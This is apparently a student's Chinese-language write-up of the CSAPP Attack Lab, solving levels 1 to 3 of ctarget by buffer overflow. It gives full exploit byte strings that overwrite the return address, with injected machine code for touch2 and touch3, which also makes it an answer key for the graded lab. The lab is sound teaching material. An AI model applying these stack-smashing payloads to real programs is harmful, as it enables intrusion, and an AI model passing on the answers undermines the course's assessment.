CSAPP attacklab(伪)报告

脑袋一片浆糊,辣鸡而茫然

Attack Lab

此处Lab的主要目的是利用程序中的缓冲区溢出漏洞来实现对系统的攻击

Level1

第一个关卡不要求向程序中注入代码,而是需要输入一个「引爆字符串」来改变程序的运行轨迹,重定向运行另外一个函数。在 ctarget 中,getbuf 被函数 test 调用:

1
2
3
4
5
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

我们希望 getbuf() 在返回后,调用函数 touch1 而不是输出 val 的值。

1
2
3
4
5
6
void touch1() {
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

首先反汇编:objdump -d ctarget > touch.s

我们可以看到,getbuf 将 %rsp 移动了 0x28 也就是 40 字节。这也就意味着,在往上 4 个字节,就是返回到 test 的返回地址。所以,我们就可以利用缓冲区溢出将返回地址修改掉。

可以看到 touch1 的开始地址在 0x004017c0,所以我们输入的字符串可以是

1
2
3
4
5
6
7
8
9
10
11
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00

然后,我们将这个字符文件转换为字节码 ./hex2raw < touch1.txt > touch1solve.txt,然后执行 ./ctarget -q -i touch1solve.txt

Level2

第二阶段要求向程序中注入一小段代码,ctarget 中的 touch2 的 C 语言代码为:

1
2
3
4
5
6
7
8
9
10
11
void touch2(unsigned val) {
vlevel = 2; /*Part of validation protocol*/
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

这里使用缓存区作为代码执行区域,缓存区溢出后,将返回地址写为缓存区首地址,然后执行缓存区所存的指令,首先先找出缓冲区首地址

不多bb,看图;
图片1

可以看到首地址为0x5561dc78,顺便看到第6行也就是0x28个字节之后存放的原返回地址。

和Level1一样,覆盖原返回地址,另外还要写入攻击指令。
先将指令转为机器码。

movq $0x59b997fa,%rdi # rdi = cookie

movq $0x5561dc98,%rsp # 将rsp设为存放在栈中的touch2地址的地址
ret # 读取rsp指向的地址并跳转

利用gcc -c命令将汇编语句编译成机器码,再objdump -d生成的文件就可以间接地看到最终的机器码。

得到答案为

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 48
c7 c4 98 dc 61 55 c3 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ec 17 40 00 00 00 00 00
78 dc 61 55 00 00 00 00

Level3

第三阶段同样要实现代码注入攻击,但是要传入一个额外的字符串。

在 ctarget 中 hexmatch 和 touch3 的 C 语言代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
char cbuf[110];
/* make position of check string unpredictable*/
char* s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) {
vlevel = 3;
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called You called touch3(\"%s\")\n", sval)
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

我们需要在引爆字符串中包含自己 cookie 的字符串表示,这个字符串应该是 8 个 16 进制数字,并以 0 为结尾。这个字符串的地址应该被保存在 %rdi 中。当函数 hexmatch 和 strncmp 被调用的时候,他们会把参数保存到栈上,这会覆盖 getbuf 写入的部分内容。所以,我们需要小心引爆字符串的存放位置。避开调用hexmatch和strncmp保存在栈上的位置。如果目标字符串存放的位置比touch3存放地址更低,在最终字符串对比的时候会发现rdi指向地址的内容发生了改变。

汇编代码为:

1
2
3
mov $0x5561dcb8,%rdi
pushq $0x4018fa
ret

构造字符串为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
48 c7 c7 b8
dc 61 55 68
fa 18 40 00
c3 00 00 00
35 39 62 39
39 37 66 61
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
35 39 62 39
39 37 66 61
00 00 00 00